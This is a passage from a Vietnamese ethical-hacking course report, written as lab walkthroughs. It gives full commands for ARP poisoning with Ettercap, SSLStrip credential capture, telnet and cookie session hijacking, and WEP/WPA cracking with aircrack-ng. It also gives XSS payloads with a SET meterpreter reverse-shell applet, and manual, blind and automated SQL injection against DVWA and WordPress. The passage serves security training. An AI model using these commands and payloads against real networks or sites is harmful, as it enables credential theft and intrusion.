tailieu.athena.edu.vn PTR 192.168.1.3
 Tại máy client thử login vào trang www.athena.edu.vn trước khi ta thực
hiện tấn công ta thấy trang web trả ra bình thường. Sau đó ta nên sử
dụng ipconfig /flushdns để xóa thông tin dns.
o Bước 6: Tại máy attacker ta thực hiện tấn công bằng câu lệnh “Ettercap -T
-q –M arp:remote –P dns_spoof –i eth0 /192.168.1.11/ // “Tài Liệu Học
Hacker Mũ Trắng-AEH Tại ATHENA.GV: Lê Đình Nhân
o Bước 7: Tại máy client ta browser vào lại trang web www.athena.edu.vn thì
vào trang web giả do attack dựng lên
6.3 Ettercap Sniffer Password
Sử dụng công cụ Ettercap thực hiện ARP Poisoning, fake certificate để sniffer
password. Sử dụng các plugin để theo dõi victim đang duyệt web ở trang nào.
Sơ đồ :
Đề Tài : SysTem Hacking 39
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
Các bƣớc thực hiện :
o Bước 1: cấu hình ettercap ở file “ etter.conf “. Ta xác định vị trí file
etter.conf như sau
Sử dụng vi hoặc gedit để mở file etter.conf. Thay đổi giá trị ở dòng 17 và
18
Thay đổi giá trị ở dòng 145
Thay đổi giá trị ở dòng 170 và 171
o Bước 2: Thực hiện ARP Poisoning attack. Máy Victim là Window XP đang
có IP 192.168.1.6 . Ta nhập vào câu lệnh “ettercap -T -q –M arp:remote –P
remote_browser –i eth0 /192.168.1.6/ // ”
o Bước 3: máy Victim thực hiện duyệt web. Ví dụ victim sử dụng Gmail và
xuất hiện cảnh báo lỗi về certificate. Tại máy attacker xuất hiện các dòng
log cho thấy victim đang kết nối vào mail.google.com .Khi Victim cố gắng
tiếp tục đăng nhập thì sẽ bị mất username và password
Đề Tài : SysTem Hacking 40
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
6.4 SSL Strip
SSL Strip là công cụ tương tác ở quá trình chuyển từ http sang https của các ứng
dụng web. SSL Strip là một trong các công cụ hữu hiệu để capture được username và
password login của các ứng dụng web.
Công cụ SSL Strip đã được install mặc định trong hệ điều hành Backtrack 5. Đầu
tiên ta xác định vị trí file thực thi và cách thức sử dụng giao diện dòng lệnh của
Backtrack 5
Sơ đồ: Victim login vào các web application và bị sniffer password
Các bƣớc thực hiện :
o #locate sslstrip
=>câu lệnh xác định các file liên quan đến chương trình ssl strip. Ta sẽ xác
định được đường dẫn thực thi là /pentest/web/sslstrip
o #cd /pentest/web/sslstrip/
o #ls -l
-rw-r--r-- 1 root root 4066 2011-05-06 12:22 sslstrip.py
o #python ./sslstrip.py -h
=>câu lệnh ở trên để ta xem cách thức sử dụng
o #python ./sslstrip.py -a
=>khởi động chương trình sslstrip và ghi log các kết nối thông qua biến -a
=>mặc định chương trình sslstrip sẽ hoạt động ở port 10000
o #netstat -ltn
=>xác định các port TCP đang listen trong máy. Ta kiếm vị trí port 10000
Các cấu hình chuẩn bị tại máy Backtrack 5 ( attacker )
Đề Tài : SysTem Hacking 41
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
o #echo 1 > /proc/sys/net/ipv4/ip_forward
=>kích hoạt khả năng định tuyến của PC
o #iptables -t nat -A PREROUTING -p TCP --destination-port 80 -j
REDIRECT --toport 10000
=>cấu hình firewall nhận traffic ở port 80 thì sẽ redirect traffic vào port
10000. Port 10000 thì tương ứng với chương trình ssl strip
Start sslstrip listen ở port 10000 và ghi log tất cả các kết nối
#cd /pentest/web/ssltrip
#python ./sslstrip.py –a
Mở một cửa sổ terminal khác thực hiện arp poisoning attacker để redirect tất cả
các traffic ở máy attacker
#ettercap -T -q -M arp:remote -i eth0 /192.168.1.X/ //
Tại máy victim thực hiện đăng nhập vào các ứng dụng web. Sau đó attacker tìm
kiếm các thông tin trong file sslstrip.log. Có thể sử dụng các từ khóa như Email= ,
Passwd= … để tìm kiếm các thông tin nhạy cảm
#cd /pentest/web/sslstrip
#cat sslstrip.log > /root/Desktop/password.txt
Đề Tài : SysTem Hacking 42
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
Chƣơng 7 : Session Hijacking
7.1 Hunt Session Hijacking
User sử dụng phương thức telnet điều khiển router Cisco. Attacker sử dụng công
cụ Hunt để cướp session telnet.
Sơ đồ:
Các bƣớc thực hiện :
o Bước 1: Cấu hình telnet tại router cisco, victim thực hiện telnet vào thiết bị
R1(config)#interface fa 0/0
R1(config-if)#ip address 192.168.100.254 255.255.255.0
R1(config-if)#no shutdown
R1(config-if)#exit
R1(config)#username cisco privilege level 15 secret cisco
R1(config)#line vty 0 4
R1(config-line)#login local
R1(config-line)#exit
o Bước 2: thực hiện cài đặt chương trình hunt
o Bước 3: ở máy victim thực hiện kết nối telnet đến router.
o Bước 4: sử dụng chương trình hunt, nhập vào “ u ”, nhập vào IP bắt đầu và
IP kết thúc để kiểm tra các IP trong mạng
o Bước 5: Nhập vào “ l ” để kiểm tra các kết nối. Sau đó chọn số kết nối để
thực hiện hijacking ( ở trên màn hình ta đang có kết nối thứ 0 ) Victim nhập
vào các thông số trong quá trình cấu hình thì attacker cũng thấy được các
thông số đó
Đề Tài : SysTem Hacking 43
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
7.2 Cookie Hijacking Yahoo Mail
Victim sử dụng Yahoo mail, attacker ăn cắp được cookie và sử dụng cookie vào
trình duyệt web thì attacker có được phiên đăng nhập của yahoo mail
Sơ đồ :
Các bƣớc thực hiện :
Bước 1: Victim, IP 192.168.1.6, đăng nhập vào mail yahoo
Bước 2: Attacker thực hiện các dạng tấn công và thu thập được cookie
Đề Tài : SysTem Hacking 44
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
Bước 3: Attacker thực hiện apply Cookie Y và T vào trình duyệt web
Bước 4: Attacker vào trình duyệt web nhập vào URL “ mail.yahoo.com “ thì sẽ
login vào được mail của victim
Đề Tài : SysTem Hacking 45
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
7.3 Cookie Hijacking Hotmail
Victim sử dụng Hotmail mail, attacker ăn cắp được cookie và sử dụng cookie vào
trình duyệt web thì attacker có được phiên đăng nhập của yahoo mail
Sơ đồ :
Các bƣớc thực hiện:
Bước 1: Victim IP 192.168.5.105 đăng nhập vào trang mail.live.com
Bước 2: Attacker thực hiện sniffer và sử dụng wireshark capture được cookie của
hotmail.
Đề Tài : SysTem Hacking 46
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
Bước 3: Attacker thực hiện apply cookie RPSTAuth vào trình duyệt web
Đề Tài : SysTem Hacking 47
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
Chƣơng 8 : Wireless
8.1 Crack WEP Key
Ta kiểm tra tính bảo mật của wireless access point cấu hình theo chuẩn WEP.
Sơ đồ :
Các bƣớc thực hiện :
o Phần cứng: hai card wireless broadcom chipset bcm43xx và card linksys
usb wireless card chipset rt73 .
o Hệ điều hành Backtrack 3 live usb hoặc 1 hệ điều hành Linux đã được
install chương trình aircrack-ng
8.1.1 Bƣớc chuẩn bị
o Cắm wireless usb vào laptop .Boot vào Back Track 3 từ USB
o Kiểm tra xem hệ điều hành đã nhận được card wirelss. Ta dùng lệnh lspci
và lsusb để kiểm tra
 Kiểm tra xem hệ điều hành nhận ra card wireless của mình bằng tên gì.
Cách làm như sau, ta dùng lệnh ifconfig hoặc iwconfig để xem hệ điều
hành nhận diện card mạng của mình như thế nào. Đối với card
broadcom thì nó được nhận là eth0hoặc eth1. Đối với usb wireless thì
nó sẽ nhận là rausb0.
o Cấu hình để cho card wireless của mình có thể capture và inject. Mình sẽ
dùng card broadcom để inject và card linksys để capture.
 Đối với card linksys usb ta cần phải làm một số bước sau để nó có thể
load được driver của nó lên
ifconfig rausb0 down
modprobe -r rt73
modprobe rt73
Đề Tài : SysTem Hacking 48
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
8.1.2Ta dùng card usb để capture
Ta thực hiện quá trình capture như sau
airmon-ng stop rausb0
airmon-ng start rausb0
airodump-ng rausb0
Lúc này ta đã có được MAC address của Access Point (AP), channel mà nó hoạt
động, dạng encryption mà nó đang sử dụngairodumg-ng -c [channel] -bssid [Mac_ap] -w
[outputfile] rausb0
Câu lệnh trên nhằm cấu hình card usb capture thông tin trên đúng Access point mà
ta muốn test nó. Ok ta cứ để cho nó capture. Ta mở lệnh một cửa số konsole khác để tiếp
tục quá trình.
8.1.3 Dùng card broadcom để inject
Đối với card broadcom thì ta cần kiểm tra xem nó đã inject được hay chưa. Giả sử
như AP đang hoạt động ở channel 3, SSID của nó là P.101
Đề Tài : SysTem Hacking 49
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
iwconfig eth0
ifconfig eth0 up
iwconfig eth0 mode monitor channel 6
aireplay-ng -9 -e XXX -a [Mac_ap] eth0
Injection working!
Ta kiểm tra xem card wireless của mình đã inject được hay chưa. Nếu nó báo là
Injection working thì ta đã làm đúng rồi.
Lúc này ta bắt đầu quá trình association với AP bằng cách sử dụng kiểu attack là
fake authentication
aireplay-ng -1 0 -e P.101 -a [Mac_ap] -h [Mac_broadcom_card] eth0
Thực hiện quá trình inject ở dạng gói tin ARP request replay mode
aireplay -3 -x 300 -b [Mac-ap] -h [Mac_broadcom_card] eth0
Ta cứ đợi cho đến khi nào ta capture đủ số lượng packet cần thiết.Khoảng 40000
đến 80000 packet. Lúc này ta thử crack xem ta có key hay chưa bằng lệnh
aircrack-ng -z -b [AP_mac] [out_put_file_name].cap
Ta đã tìm thấy được wep key là 1234567890abc.Kết luận: Cấu hình Access Point
mã hóa bằng WEP key là một cấu hình không bảo mật. Một attacker có thể dễ dàng crack
được nó trong khoảng thời gian khoảng 10 phút.
8.2 SỬ DỤNG AIRCRACK-NG CRACK WPA KEY
Ta kiểm tra tính bảo mật của wireless access point cấu hình theo chuẩn WPA.
Mô hình :
Đề Tài : SysTem Hacking 50
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
Các bƣớc thực hiện:
Cấu hình chuyển card wireless sang monitor mode. Tùy theo mỗi loại card mà ta
sẽ cấu hình khác nhau. Ta sử dụng card Intell 2200 chuẩn bg
Tiếp tục ta dùng công cụ airodump-ng được tích hợp sẵn để thu thập thông tin
bằng lệnh airodump-ng eth1. Ta thu được một số thông tin sau
Ta sẽ thử crack Access Point có SSID là linksys_cisco, có Mac address là
00:1E:2A:E1:0F:C6, hoạt động ở channel 6. Tiếp tục ta cấu hình câu lệnh airodump-ng
để capture thông tin bằng lệnh airodump-ng –c 6 –b [Mac_AP] –w
/home/user/Desktop/wpa eth1
Đề Tài : SysTem Hacking 51
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
Để có được 4 way handshake của Access Point thì cấu hình công cụ aircrack gửi
ra các gói tin Deauthentication để yêu cầu client gửi lại thông tin xác thực và attacker
thực hiện quá trình capture 4 way handshake khi client gửi đến Access Point. Câu lệnh
aireplay-ng -0 10 –a [MAC_AP] -c [Mac_Victim] eth1
Cuối cùng ta thử crack bằng từ điển. Nếu như ta cấu hình một password tốt thì
việc crack này không dễ thực hiện thành công. Câu lệnh thực hiện aircrack-ng
/home/user/Deskop/wpa-01.cap –w /root/dictionary.lst
Đề Tài : SysTem Hacking 52
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
Ta chọn SSID mà ta muốn crack. Ở đây ta chọn là số 1 là linksys_cisco. Chương
trình bắt đầu chạy test các password, nếu như trong dictionary không có password đúng
thì quá trình này sẽ không thành công.
8.3 WPA Enterprise
Nếu như ta yêu cầu bảo mật cho mạng wireless ở mức độ cao thì giải pháp dùng
phương pháp mã hóa WPA Enterprise hoặc WPA2 Enterprise là một giải pháp. Sau khi
thực hiện quá trình đăng nhập một cách bảo mật thông qua username và password thì mỗi
một user sẽ có một key của riêng mình. Và ta loại bỏ trường hợp phải dùng chung một
pre-shared key.
Để triển khai WPA Enterprise ta có ba giải pháp như sau:
Mua một Access Point có tích hợp RADIUS Server bên trong đó.
Sử dụng những dịch vụ được host bởi hãng thứ ba. Lúc này ta phải đăng kí dịch
vụ, cấu hình Acccess Point, cấu hình máy tính. RADIUS Server được cấu hình được host
bởi hãng thứ ba. Ta nhận được giao diện Web để cấu hình thêm bớt user hoặc Access
Point.
Ta cấu hình RADIUS Server cho riêng mình. Để làm được như vậy ta cần một
RADIUS/802.1X software server. Và nó có hỗ trợ các protocols như Extensible
Authentication Protocol… Server này sẽđiều khiển quá trình chứng thực của các user
đang có nhu cầu connect vào mạng wireless. Trong server có cơ sở dữ liệu là username
và password của các người dùng. Khi cấu hình Access Point xác định địa chỉ của
RADIUS Server. Khi một ai đó kết nối đến Access Point họ phải nhập username và
password và được kiểm tra tại server. Thêm vào đó, các máy tính client phải có
certificate đã được cài đặt vào và được kiểm tra trong danh sách các certificate trong
server.Ta sẽ thực hiện bài Lab cấu hình 802.1X RADIUS Server theo mô hình như sau:
Đề Tài : SysTem Hacking 53
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
Các bƣớc thực hiện :
o Cài đặt phần mềm 802.1X Radius Server. Ta có thể dùng phần mềm của
hãng thứ ba ví dụ như Elektron, Evolynx, ClearBox hoặc ta cũng có
thểdùng phần mềm trên nền tảng open source FreeRadius Server. Ở đây ta
sẽ làm bài lab dùng phần mềm Elektron.
o Cài đặt phần mềm lên thông qua một số bước sau:
 Cài đặt digital certificate: Nếu như ta không có mua Certificate
Authority ta có thể dùng wizard của phần mềm để tạo ra selfsigned
certificate. Sau đó add certificate này vào Radius Server. Quá trình add
certificate này không có được làm tựđộng. Bước kế tiếp ta export
certificate này thành một file. Sau đó cài đặt file này vào các máy client
có nhu cầu connect vào wireless network.
 Xác định Access Point thành RADIUS client. Trong quá trình cấu hình
trên Access Point xác định địa chỉ của Radius Server và Shared Secret
key.
 Trên Radius server thiết lập authentication domain để Radius xác định
xem nó sẽ dùng cơ sở dữ liệu. Trong một wireless network nhỏ thì ta có
thể dùng default domain đã được tạo trong software.
 Thêm vào user vào database.
o Cấu hình Wireless Router Access Point dùng phương pháp mã hóa là WPA
Enterprise. Tiếp tục xác định địa chỉ IP của Radius Server và Shared Secret
key.
o Cuối cùng là cấu hình tại các máy client. Nếu như ta dùng self-signed
certificate thì ta phải install các certificate này trên các máy client. Tiếp tục
cấu hình wireless card dùng phương pháp mã hóa là WPA Enterprise tương
ứng với Access Point.
8.3.1 Cài đặt và cấu hình Elektron 802.1X RADIUS Server
Đầu tiên ta thực hiện quá trình gán IP trên Server theo sơ đồ như bên trên. Radius
Server có IP là 192.168.100.1/24 và Access Point có IP là 192.168.100.254/24 và nó
cũng là Default Gateway. Sau đó kiểm tra kết nối từ Radius Server đến Access Point
Đề Tài : SysTem Hacking 54
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
o Ta thực hiện quá trình cài đặt chương trình.Ta click Next
o Ta đặt username, mặc định chương trình chọn computer name làm
username.
o Do ta đang sử dụng bảng Trial nên ở đây ta tiếp tục click Next.
o Ta gán một password để bảo vệ quá trình trao đổi dữ liệu giữa wireless
Access Point và Elektron
o Ở đây ta không có dùng CA của bên thứ ba, tuy nhiên chương trình hỗ trợ
việc tạo ra certificate. Ta chọn vào mục “ Create a new certificate
hierarchy”
o Tiếp tục ta gán một FQDN cho server. Ở đây ta gán là server.athena.com và
gán các thông số cho certificate authority.
o Đến đây ta đã thực hiện xong quá trình cài đặt. Tiếp tục ta sẽ chuyển sang
phần cấu hình trên server. Giao diện màn hình điều khiển
o Ở đây ta có thể kiểm tra xem các protocol thuộc giao thức PEAP mà nó hỗ
trợ
o Ta vào mục Server Certificate, để export certificate. Ví dụ bên dưới ta chọn
xuất ra ở dạng là Der File và save ở Desktop.
o Ta tạo ra một Authentication Domain. Để dễ dàng ta chọn Authenticate
o Using bằng Elektron Accounts. Nghĩa là dùng username password được tạo
ra bằng software để chứng thực.
o Ta tạo ra một user account như hình bên dưới.
o Trên Server, ta thực hiện quá trình import certificate vào server trong mục
“Trust Certification”.
o Ta import certificate vào vị trí là Trusted Root Certificate Authority.
o Click Yes để hoàn thành quá trình Import Certificate vào 801.X Radius
Server.
o Tiếp tục ta xác định các RADIUS Client và Shared Key tương ứng cho
từng Access Point.
 Ta tạo ra client có IP là 192.168.100.254
 Shared Key là 123abc!!!
8.3.2 Cấu hình Wireless Access Point dùng WPA Enterprise
Ta cấu hình Access Point dùng Security Mode là WPA Enterprise, thuật toán
WPA ta chọn AES. Ta để port mặc định kết nối đến Radius Server là 1812.
Cấu hình trên máy Client:
o Trên các PC Client muốn kết nối đến Wireless Access Point, đầu tiên ta
phải thực hiện quá trình import certificate vào trong máy tính.
Đề Tài : SysTem Hacking 55
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
o Certificate được manual chép đến máy client.
o Click Yes để hoàn thành quá trình Import certificate. Ta thực hiện quá trình
kết nối đến Wireless Access Point. 802.1X Radius Server sẽ trả vềcho
client màn hình yêu cầu đăng nhập username và password như bên dưới.
o Ta nhập vào username và password tương ứng mà ta đã tạo trên trên
server.Window 7 đưa ra một màn hình cảnh báo. Và chọn Connect để
hoàn thành quá trình kết nối
o Đến đây ta đã hoàn thành và ta đã kết nối đến Wireless Access Point có
ESSID là linksys như hình bên dưới.
Đề Tài : SysTem Hacking 56
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
Chƣơng 9 : Web Application Attack
9.1 XSS Stored
Máy ảo Ubuntu cài đặt trang Web DVWA, đang bị lỗi XSS Store
Máy XP cài đặt JRE phiên bản jre-6u13-windows-i586
Máy Backtrack 5, sử dụng Metasploit và SET
Sơ đồ như sau:
Kiểm tra lỗi XSS trên trang Web
o Máy Ubuntu đang sử dụng IP 192.168.1.100, ta sử dụng Firefox kết nối
vào.Sử dụng username: admin và password: passwordđể login. Cấu hình
DVWA Security mức độ Low
o Tiếp tục ta kiểm tra lỗi XSS trên trang Web, nhập vào
<script>alert("XSS")</script> trên trình duyệt và trình duyệt web sẽ thực
thi scripts.
o Ta có thể sử dụng 1 script khác để steal cookie dạng đơn giản như sau
<script>document.write(document.cookie)</script>
o Trong phần kế tiếp ta sẽ sử dụng script mở một trang web mới
<script>window.location = http://IP_Backtrack5</script>. Tuy nhiên ta sẽ
không nhập vào được do thẻ textarea qui định chiều dài là 50 ký tự. Để giải
quyết việc này ta sử dụng Add on Firebug và chỉnh sửa lại giá trị maxlength
o Khi script thực thi thì trình duyệt web sẽ được redirect đến 1 trang web
khác.
Tại máy Backtrack 5 sử dụng công cụ SET
o SET ( Social Engineering Toolkit ) là công cụ giúp ta thực hiện các dạng
tấn công phishing. Ta khởi động chương trình
o Ta chọn số 2 để thực hiện dạng tấn công “Website Attack Vectors”
o Tiếp tục ta chọn số 1 để thực hiện Java Applet Attack Method
Đề Tài : SysTem Hacking 57
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
o Ta chọn số 1 để sử dụng Template có sẵn trong chương trình và phần cấu
hình NAT port forwarding ta để “no”
o Nhập vào IP của máy Backtrack 5: 192.168.1.200
o Chọn sử dụng Web Template. Ở đây ta có thể chọn số 1 “Java required”
o Chọn payload số 2 là window meterpreter reverse_tcp
o Chọn dạng msfencode số 2 và cấu hình port listen là 8989
o Lúc này chương trình SET sẽ gọi chương trình metasploit
Máy Victim XP kết nối
o Victim duyệt web đến trang bị lỗi XSS Stored, sẽ bị thực thi script trên
trình duyệt web và mở đến trang web giả dạng trên máy backtrack 5 của
attacker
o Victim click RUN sẽ thực thi backdoor. Ta qua máy Backtrack 5 để kiểm
tra kết nối.
9.2 SQL Injection
Ta thử nhập vào số 1 trong form submit, lúc này đường link sẽ là
“http://192.168.1.5/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” . Ta chú ý số “
?id=1 “ , tiếp tục ta có thể truy vấn với số id là số 2 , 3 ,4 thì trang web trả ra cho ta một
kết quả đúng.
Tiếp tục ta thử truy vấn với một số id là một số không có, ví dụ ta nhập vào số1’
thì tại trình duyệt web ta nhận được 1 thông số lỗi của MySQL. Như vậy tại đường link
này ta có thể khai thác lỗi SQL Injection
Tiếp tục ta xác định số column trong database bằng cách truy vấn các câu lệnh sử
dụng câu lệnh “ order by ”. Ví dụ ta nhập vào “ 1 order by – “ trang web hiển thị bình
thường
Tiếp tục ta thử “ 1 order by 2 -- ” thì trang web cũng trả về kết quả bình thường
Tiếp tục ta thử “ 1 order by 3 -- ” thì website trả về một kết quả bị lỗi. Theo như
hình báo lỗi bên dưới nghĩa là database có số lượng 2 column
Tiếp tục ta kiểm tra phương thức union có thể hoạt động được hay không bằng câu
lệnh query “1 union all select 1,2 --”. Ở kết quả hiển thị bên dưới thì ta có thể tiếp tục
query ở số 1 và số 2.
Xác định version của mysql server bằng câu lệnh “ 1 union all select 1,@@version
-- “ Ta xác định được version của database là 5.1.49-1ubuntu8.1
Đề Tài : SysTem Hacking 58
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
Xác định username của database và tên của database đang hoạt động. Sửdụng câu
lệnh “ 1 union all select user(),database() -- “ . Ta xác định được tên database có tên là
dvwa, username database là root@localhost
Xác định các table có trong database bằng câu lệnh “ 1 union all select
table_name,2 from information_schema.tables -- ” Ta xác định được 2 table là user và
guestbook
Xác định các column có trong table “ users “ . Đầu tiên ta chuyển mã hexa cho từ
users tương ứng là 7573657273. Ta thực hiện truy vấn sql “ 1 union all select
1,group_concat(column_name) from information_schema.columns where
table_name=0x7573657273 -- ”
Cuối cùng ta sẽ query các username và hash password trong database “ 1union all
select concat_ws(0x7c,user,password),2 from dvwa.users --“
9.3 Blind SQL Injection
o Bước 1: kiểm tra lỗi blind sql injection. Các web site bị lỗi này thì trong
quá trình ta thử các câu truy vấn sql sai thì sẽ các báo lỗi sẽ không xuất hiện
trên màn hình. Ta thử nhập vào giá trị ID bằng 1 thì web site trả ra cho ta
giá trị của admin
 Ta thử nhập vào “ 1 and 1=1 ”, đây là 1 câu query đúng thì web site vẫn
trả ra cho ta giá trị của username admin. Hoặc ta có thể sử dụng câu truy
vấn “1 /**/and/**/1=1 ”
 Ta thử 1 câu query sai, ví dụ như “ 1 and 1=2” thì khi nhập vào web site
không trảra cho ta bất kz giá trị nào hoặc ta có thể sử dụng “
1/**/and/**/1=2 ”
 Như vậy trang web này có thể bị lỗi blind sql injection
o Bước 2 kiểm tra version của Mysql server. Ta kiểm tra version của mysql
server bằng câu lệnh truy vấn “1 and substring(@@version,1,1)=5 ”
thìwebsite trả về cho ta một kết quả đúng.
 Tiếp tục ta query “1 and substring(@@version,1,1)=4 ” thì website trả
về cho ta một kết quả sai và không hiện ra thông tin trên màn hình Như
vậy mysql đang sử dụng version 5
o Bước 3: Tiếp tục ta sẽ đoán xem các table name sẽ có thể. Giả sử ta thử
chọn 1 số tên table dễ đoán để query ví dụ như admin, users, … Câu truy
vấn sẽ là “1 and (select 1 from admin limit 0,1)=1 -- ”. Nhưng do table
admin không có trong database nên website trả về cho ta trang web trống
Đề Tài : SysTem Hacking 59
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
 Ta thử thay đổi giá trị users với câu query tương tự như trên “1 and
(select 1 from admin limit 0,1)=1 --” thì trang web cho ta kết quả đúng
 Như vậy trong database DVWA có table tên là users
o Bước 4: ta sẽ đoán tên các column có trong tables users bằng một số từ như
user_id,users,password, passwd … Câu lệnh sql ta sẽ query là “ 1 and
(select substring(concat(1,password),1,1) from users limit 0,1)=1 -- ”
 Trong tables users có column là password
 Ta thử query một số tên của một số column khác. Ví dụ như tên passwd
với câu query là “1 and (select substring(concat(1,passwd),1,1) from
users limit 0,1)=1 --” thì website trả về một trang web lúc bị lỗi
 Ta query xem trong table users có cột users bằng câu query “1 and
(select substring(concat(1,user),1,1) from users limit 0,1)=1 --” thì
DVWA trả vềmột trang web đúngColumn user có trong table users
o Bước 5: ta sẽ xác định từng ký tự trong 2 column user,password từ table
users. Đây là một quá trình làm rất lâu. Ta query xem mã acscii của ký tự
đầu tiên có lớn hơn số 80 hay không ? “1 and ascii(substring((select
concat(user,0x3a,password) from users limit 0,1),1,1))>80 --“trang web trả
vềcho ta một kết quả query đúng. Như vậy k{ tự đầu tiên của column user
có giá trị lớn hơn 80. Tiếp tục ta thử số100 với câu query là “1 and
ascii(substring((select concat(user,0x3a,password) from users limit
0,1),1,1))>100 --” thì trang web trả về cho ta một kết quả bị lỗi .
 Ta thử giá trị 96 với câu query “1 and ascii(substring((select
concat(user,0x3a,password) from users limit 0,1),1,1))>96 --” thì trang
DVWA vẫn trả ra kết quả đúng.
 Ta thử giá trị 97 với câu query “ 1 and
ascii(substring((selectconcat(user,0x3a,password) from users limit
0,1),1,1))>97 --” thì trang DWWA trả ra kết quả sai
 Ta thử query với toán tử “ 1 and ascii(substring((select
concat(user,0x3a,password) from users limit 0,1),1,1))=97 --” thì ra một
giá trịđúng.
 Như vậy k{ tự đầu tiên có mã ascii là 97. Ta chuyển đổi ascii 97 thì
tương ứng với chữ a. Tiếp tục ta sẽ tìm kiếm chữ thứ hai, ta sử dụng câu
query “1 and ascii(substring((select concat(user,0x3a,password) from
users limit 0,1),2,1))>99 --” thì trang web trả về giá trị đúng.Ta thử
query với giá trị lớn hơn 100 với câu query “1 and
ascii(substring((select concat(user,0x3a,password) from users limit
0,1),2,1))>100 --” thì DVWA trả về giá trị sai
Đề Tài : SysTem Hacking 60
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
 Như vậy chữ thứ hai có giá trị trong mã ascii là 100. Ta thử query với
toán tử bằng với giá trị 100. Trang web trả về cho ta giá trị đúng. Chữ
thứ hai có giá trị ascii là 100 tương ứng với chữ d.
o Bước 6: để query được hết toàn bộ thông tin login bằng blind sql injection
thực sự sẽ mất rất nhiều thời gian với phương pháp manually. Ta có thể
sửdụng các công cụ tấn công blind sql để giảm thời gian.
9.4 Automatic Blind SQL Injection
o Bước 1: Trong phiên bản Wordpress 3.1.3 bị lỗi Blind SQL Injection. Giả
sửAdmin đã tạo ra một user có quyền Athena Test. User này có quyền
Editor
o Bước 2: user này đăng nhập vào trang quản trị wordpress. Ở đường link
dạng category
“http://192.168.1.100/wordpress/wpadmin/edittags.php?taxonomy=link_cat
egory&orderby=name&order=asc “ là vị trí có thể tấn công Blind SQL
Injection
o Bước 3: Kiểm tra vị trí bị lỗi Blind SQL Injection. Ta thay đổi giá trị
 orderby=10 thì trang web vẫn hoạt động bình thường. Khi thử giá trị
 orderby=11 thì trang web xuất hiện thêm dòng “ No item found “
o Bước 4: Sử dụng công cụ bsqlbf để thực hiện tấn công. Đầu tiên ta kiểm tra
câu lệnh của công cụ.
o Bước 5: do user “ Athena Test ” là một user đã được đăng nhập. Ta copy
giá trịcookie của user này.
o Bước 6: Xác định version của Mysql server bằng câu lệnh bên dưới.
D:bsqlbf>bsqlbf-v2-7.pl -url
"http://192.168.1.100/wordpress/wpadmin/edittags.php?taxonomy=link_cat
egory&orderby=10" -blind orderby -sql "select @@version" -match
"Blogroll" -type 2 -database 1 –cookie
"wordpress_26033f6e23cd6a3c2b7b304d151778a3=Athena+Test%7C1337
529257%7Ca1ed46cc2ed3e3209c48e79f59b62316"
o Bước 7: Xác định database name của wordpress
D:bsqlbf>bsqlbf-v2-7.pl -url "http://192.168.1.100/wordpress/wp-
admin/edittags.php?taxonomy=link_category&orderby=10" -blind orderby
-sql "select database()"-match "Blogroll" -type 2 -database 1 --cookie
"wordpress_26033f6e23cd6a3c2b7b304d151778a3=Athena+Test%7C1337
529257%7Ca1ed46cc2ed3e3209c48e79f59b62316"
Đề Tài : SysTem Hacking 61
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
o Bước 8: Xác định table name
D:bsqlbf>bsqlbf-v2-7.pl -url "http://192.168.1.100/wordpress/wp- "select
table_name from information_schema.columns where column_name like
'%user_pass%' limit 1" -match "Blogroll" -type 2 -database 1 –cookie
"wordpress_26033f6e23cd6a3c2b7b304d151778a3=Athena+Test%7C1337
529257%7Ca1ed46cc2ed3e3209c48e79f59b62316"
Xác định column name trong wp_users
D:bsqlbf>bsqlbf-v2-7.pl -url "http://192.168.1.100/wordpress/wp-
admin/edittags.php?taxonomy=link_category&orderby=10" -blind orderby
-sql "select column_name from information_schema.columns where
table_name like 'wp_users' limit 1 offset 1" -match "Blogroll" -type 2 -
database 1 --
cookie"wordpress_26033f6e23cd6a3c2b7b304d151778a3=Athena+Test%7
C1337529257%7Ca1ed46cc2ed3e3209c48e79f59b62316”
Xác định column password trong wp_user table
D:bsqlbf>bsqlbf-v2-7.pl -url "http://192.168.1.100/wordpress/wp-
admin/edittags.php?taxonomy=link_category&orderby=10" -blind orderby
-sql "select column_name from information_schema.columns where
table_name like 'wp_users' and column_name like '%pass%'" -match
"Blogroll" -type 2 -database 1 --cookie "wordpress_26033f
6e23cd6a3c2b7b304d151778a3=Athena+Test%7C1337529257%7Ca1ed46
cc2ed3e3209c48e79f59b62316"
Extract username và password của user đầu tiên từ column user_login, user_pass
từ wp_users
